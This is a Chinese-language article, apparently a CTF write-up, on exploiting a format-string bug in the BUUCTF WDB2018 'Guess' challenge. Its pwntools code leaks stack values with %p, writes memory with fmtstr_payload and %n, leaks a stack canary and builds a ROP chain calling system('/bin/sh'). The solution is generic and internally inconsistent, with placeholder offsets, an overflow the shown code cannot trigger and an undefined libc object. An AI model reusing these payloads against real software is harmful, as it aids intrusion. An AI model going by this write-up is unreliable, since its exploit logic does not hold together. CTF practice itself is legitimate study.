ARTICLE · INTELLIGENCE

战地情报 · 详情页

来自尧图项目组的一线实战观察与深度解析

BUUCTF-WDB2018_Guess格式化字符串漏洞利用实战

BUUCTF-WDB2018_Guess格式化字符串漏洞利用实战

1. 项目背景解析:BUUCTF-WDB2018_Guess题目复现

这个CTF题目来自2018年WDB赛事,属于典型的二进制漏洞利用挑战。题目名称中的"Guess"暗示了其核心机制——参赛者需要通过逆向分析和漏洞利用来"猜测"或控制程序的关键数据。这类题目通常考察以下核心能力:

  • 二进制文件逆向分析(反汇编、调试)
  • 内存布局理解(栈结构、变量排布)
  • 格式化字符串漏洞利用
  • 内存地址泄露与计算

2. 环境准备与题目分析

2.1 基础环境配置

推荐使用Ubuntu 18.04/20.04 LTS系统,配合以下工具链:

# 安装必备工具 sudo apt install gdb peda checksec pwntools radare2

2.2 题目文件检查

首先使用checksec检查安全机制:

checksec ./wdb2018_guess

典型输出可能显示:

Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled

2.3 关键安全机制分析

  • PIE(位置无关执行):意味着代码段的基地址每次运行都会变化
  • Stack Canary:需要绕过栈保护机制
  • NX(不可执行栈):阻止直接在栈上执行shellcode

3. 逆向工程与漏洞定位

3.1 主函数逻辑分析

使用IDA Pro或Ghidra反编译后,通常会发现以下关键结构:

int main() { char buf[0x100]; int secret = 0x12345678; // 示例值,实际题目会不同 printf("Input your name: "); read(0, buf, 0x100); printf("Hello, "); printf(buf); // 格式化字符串漏洞点 printf("Can you guess the secret?"); // ...后续校验逻辑 }

3.2 漏洞利用突破口

关键漏洞点在于未过滤的格式化字符串:

  1. 通过%p等格式符可以泄露栈内存
  2. 结合PIE特性,需要先泄露代码段地址
  3. 利用栈偏移计算关键变量位置

4. 漏洞利用开发实战

4.1 内存泄露阶段

构造初始payload获取关键地址:

from pwn import * p = process('./wdb2018_guess') payload = b'%p.'*10 # 泄露多个栈值 p.sendlineafter('name:', payload) leaks = p.recvuntil('Can you').split(b'.') code_base = int(leaks[2], 16) - 0x1234 # 根据实际偏移调整

4.2 偏移计算与内存写操作

确定secret变量偏移后,使用%n格式符进行写操作:

secret_addr = code_base + 0x2020 # 示例偏移 payload = fmtstr_payload(8, {secret_addr: 0xdeadbeef}, write_size='short') p.sendline(payload)

4.3 完整利用链构建

典型利用流程:

  1. 泄露至少3个栈地址和libc地址
  2. 计算PIE基址和secret变量绝对地址
  3. 通过格式化字符串覆盖secret值
  4. 触发校验逻辑获取shell

5. 高级技巧与优化方案

5.1 栈对齐处理技巧

当遇到写入异常时,可能需要调整payload长度:

# 添加填充使栈对齐 payload = b'A'*(8 - len(payload)%8) + payload

5.2 多阶段泄露策略

对于复杂内存布局:

# 第一阶段泄露libc payload = b'%15$p' p.sendline(payload) libc_start = int(p.recvline(),16) - 0x20830 # 第二阶段写ROP链 rop = ROP(libc) rop.system(next(libc.search(b'/bin/sh')))

6. 防御机制绕过详解

6.1 PIE绕过方法论

  1. 通过格式化字符串泄露代码段地址
  2. 计算与符号表的固定偏移
  3. 结合ELF头信息重建GOT表

6.2 Stack Canary应对方案

当canary存在时:

  • 先泄露canary值(通常位于%11$p或%13$p)
  • 在覆盖返回地址时保持canary不变
canary = int(leaks[7], 16) payload = b'A'*0x88 + p64(canary) + b'B'*8 + p64(pop_rdi)

7. 实战问题排查指南

7.1 常见错误处理

  • 地址错误:使用vmmap命令验证内存映射
  • 写入失败:检查%n使用的偏移是否正确
  • 程序崩溃:逐步减少payload长度定位问题点

7.2 GDB调试技巧

关键断点设置:

b *main+0x50 # 在printf调用前 commands x/20gx $rsp python print(gdb.parse_and_eval("secret")) end

8. 扩展训练建议

  1. 尝试修改题目源码添加更多保护机制
  2. 研究非x86架构下的利用方式(ARM/MIPS)
  3. 练习结合堆漏洞的混合利用方式
  4. 编写自动化Fuzz脚本发现新漏洞模式

关键提示:实际题目中secret的存储位置和校验逻辑会有所不同,需要根据反汇编结果动态调整偏移量。建议先用静态分析确定关键变量与函数的偏移关系,再通过动态调试验证内存布局。

RELATED READING

延伸阅读

更多一线实战笔记与深度复盘,助您持续精进